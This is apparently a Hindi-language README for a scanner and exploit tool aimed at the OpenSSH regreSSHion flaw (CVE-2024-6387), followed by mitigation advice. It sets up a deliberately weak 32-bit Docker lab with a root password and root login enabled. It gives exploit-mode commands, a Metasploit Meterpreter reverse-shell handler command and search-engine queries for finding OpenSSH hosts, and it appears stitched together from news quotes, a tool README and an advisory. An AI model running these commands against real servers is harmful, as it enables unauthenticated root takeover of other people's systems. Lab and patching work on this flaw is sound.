
CVE-2024-6387 (regreSSHion) का OpenSSH सर्वरों में स्कैन और शोषण करता है। इसमें मल्टी-थ्रेडेड स्कैनिंग, बैनर पुनर्प्राप्ति, ग्रेस टाइम पहचान, और रिवर्स शेल पेलोड के साथ शोषण मोड शामिल है।
यह अनिवार्य रूप से एक सांख्यिकीय भेद्यता है: रेस कंडीशन जीतने और मनमाना कोड सफलतापूर्वक निष्पादित करने के लिए बड़ी संख्या में प्रयासों की आवश्यकता होती है। हमलावरों को कई बाधाओं को पार करना पड़ता है, श्वार्ट्ज ने SecurityWeek को बताया। "सबसे अच्छी स्थिति में भी, सबसे प्रसिद्ध भेद्यता का शोषण करने में 4 घंटे से अधिक समय लगता है।"
OpenSSH 9.8 के रिलीज़ नोट्स में, डेवलपर्स ने उल्लेख किया कि भेद्यता की पुष्टि केवल glibc पर आधारित 32-बिट Linux सिस्टम पर हुई है, और OpenBSD प्रभावित नहीं है।
पर्यावरण Docker का उपयोग करके सेट किया गया है।
# 1.1. Writing the Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoCयह एक्सप्लॉइट केवल 32-बिट OpenSSH-सर्वर के लिए काम करता है। ऐसा इसलिए है क्योंकि POC 32-बिट पॉइंटर्स का उपयोग करता है! यह भी ज्ञात है कि कुछ संस्करण पहले ही पैच किए जा चुके हैं, और हर सर्वर असुरक्षित नहीं है। परीक्षण किया गया: Kali Linux, ParrotSec, Ubuntu 22.04
OpenSSH सर्वर में रिमोट अनऑथेंटिकेटेड कोड एक्ज़ीक्यूशन भेद्यता
CVE-2024-6387.py एक हल्का, कुशल उपकरण है जो OpenSSH के असुरक्षित संस्करणों को चलाने वाले सर्वरों की पहचान करने के लिए डिज़ाइन किया गया है, विशेष रूप से हाल ही में खोजी गई regreSSHion भेद्यता (CVE-2024-6387) को लक्षित करता है। यह स्क्रिप्ट संभावित भेद्यताओं का पता लगाने और आपके इंफ्रास्ट्रक्चर की सुरक्षा सुनिश्चित करने के लिए कई IP पते, डोमेन नाम और CIDR नेटवर्क रेंज की तीव्र स्कैनिंग की सुविधा प्रदान करती है।
OpenSSH के सर्वर (sshd) में एक सिग्नल हैंडलर रेस कंडीशन पाई गई, जहां एक क्लाइंट LoginGraceTime सेकंड (डिफ़ॉल्ट रूप से 120, पुराने OpenSSH संस्करणों में 600) के भीतर प्रमाणित नहीं होता है, तो sshd का SIGALRM हैंडलर एसिंक्रोनस रूप से कॉल किया जाता है। हालांकि, यह सिग्नल हैंडलर विभिन्न फ़ंक्शनों को कॉल करता है जो async-signal-safe नहीं हैं, उदाहरण के लिए, syslog()।
आप तकनीकी विवरण यहां पा सकते हैं।
यह दोष, जिसे Qualys के शोधकर्ताओं ने मई 2024 में खोजा था, और पहचानकर्ता CVE-2024-6387 सौंपा गया था, sshd में एक सिग्नल हैंडलर रेस कंडीशन के कारण है जो अनऑथेंटिकेटेड रिमोट हमलावरों को रूट के रूप में मनमाना कोड निष्पादित करने की अनुमति देता है।
"यदि कोई क्लाइंट LoginGraceTime सेकंड (डिफ़ॉल्ट रूप से 120) के भीतर प्रमाणित नहीं होता है, तो sshd का SIGALRM हैंडलर एसिंक्रोनस रूप से कॉल किया जाता है और विभिन्न फ़ंक्शनों को कॉल करता है जो async-signal-safe नहीं हैं,"
"एक रिमोट अनऑथेंटिकेटेड हमलावर रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करने के लिए इस दोष का लाभ उठा सकता है।"
आवश्यकता: python3 नवीनतम
### कमांड लाइन तर्क
mode: ऑपरेशन मोड का चयन करता है। विकल्प scan या exploit हैं।
-T, --targets: IP पते, डोमेन नाम, IP पते वाली फ़ाइल पथ, या CIDR नेटवर्क रेंज।
-f, --outputfile: परिणाम सहेजने के लिए फ़ाइल (जैसे, result.json)।
-g, --gracetimecheck: संस्करण की पहचान करने के बाद LoginGraceTime शमन की जांच के लिए प्रतीक्षा करने का समय सेकंड में (डिफ़ॉल्ट: 120 सेकंड)।
-n, --nic: नेटवर्क NIC (डिफ़ॉल्ट: 'eth0')।
-o, --output: परिणामों के लिए आउटपुट प्रारूप (विकल्प: 'csv', 'txt', 'json')।
-p, --port: जांचने या शोषण करने के लिए पोर्ट नंबर (डिफ़ॉल्ट: 22)।
-s, --speed: रेस कंडीशन की संभावना बढ़ाने के लिए थ्रेड की संख्या (डिफ़ॉल्ट: 10)।
-t, --timeout: कनेक्शन टाइमआउट सेकंड में (डिफ़ॉल्ट: 1 सेकंड)।
-H, --resolve-hostnames: होस्टनाम हल करें
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
आपको बस नीचे दिए गए कमांड को पहले चलाना है (अपना {yourip} हैंडलर बदलें) और उसके बाद ऊपर दिए गए कमांड के साथ एक्सप्लॉइट चलाएं
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
यह उपकरण बेहतर पठनीयता के लिए कंसोल पर रंग-कोडित आउटपुट प्रदान करता है:
हरा: सफल कनेक्शन या ऑपरेशन। लाल: विफल कनेक्शन या त्रुटि। पीला: चेतावनी या उल्लेखनीय जानकारी। सियान: सामान्य जानकारी या स्थिति अपडेट।
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessपैच प्रबंधन: OpenSSH के लिए उपलब्ध पैच को तुरंत लागू करना भेद्यता के अंतर को बंद करने के लिए महत्वपूर्ण है। समय पर पैचिंग यह सुनिश्चित करती है कि ज्ञात एक्सप्लॉइट्स का उपयोग आपके सिस्टम के खिलाफ नहीं किया जा सकता है, जिससे हमलावरों के लिए अवसर की खिड़की कम हो जाती है।
उन्नत एक्सेस नियंत्रण: नेटवर्क-आधारित नियंत्रणों के माध्यम से SSH एक्सेस को सीमित करना सुरक्षा की एक अतिरिक्त परत जोड़ता है। यह दृष्टिकोण SSH कनेक्शन को केवल अधिकृत नेटवर्क या IP पतों तक सीमित करके संभावित हमलावरों के संपर्क को कम करता है। फ़ायरवॉल नियमों जैसे उपकरणों को लागू करना या सुरक्षित एक्सेस के लिए VPN का उपयोग करना इन प्रतिबंधों को प्रभावी ढंग से लागू कर सकता है।
नेटवर्क विभाजन: अपने नेटवर्क को खंडों में विभाजित करना संभावित उल्लंघन के प्रभाव को नियंत्रित करने में मदद करता है। महत्वपूर्ण सिस्टम और संवेदनशील डेटा को अपने नेटवर्क के कम महत्वपूर्ण हिस्सों से अलग करके, आप हमलावरों द्वारा पार्श्व गति के जोखिम को कम करते हैं। इस विभाजन को सख्त एक्सेस नियंत्रण और निगरानी के साथ पूरक किया जा सकता है ताकि इन खंडों को तोड़ने के किसी भी अनधिकृत प्रयास का पता लगाया जा सके और उसका जवाब दिया जा सके।
घुसपैठ पहचान प्रणाली (IDS): IDS या घुसपैठ रोकथाम प्रणाली (IPS) तैनात करना नेटवर्क ट्रैफ़िक और सिस्टम लॉग की वास्तविक समय निगरानी सक्षम करता है। ये सिस्टम regreSSHion भेद्यता से जुड़ी संदिग्ध गतिविधियों और संभावित शोषण प्रयासों का पता लगा सकते हैं। ऐसी प्रणालियों द्वारा ट्रिगर किए गए अलर्ट महत्वपूर्ण क्षति होने से पहले त्वरित जांच और शमन की अनुमति देते हैं।
शोषण प्रयासों की निगरानी: नेटवर्क और सिस्टम लॉग की निरंतर निगरानी महत्वपूर्ण है। किसी भी असामान्य पैटर्न या गतिविधि की तलाश करें जो OpenSSH भेद्यता का शोषण करने के प्रयास का संकेत दे सकती है। यह सक्रिय दृष्टिकोण खतरों को नुकसान पहुंचाने से पहले पहचानने और उनका जवाब देने में मदद करता है।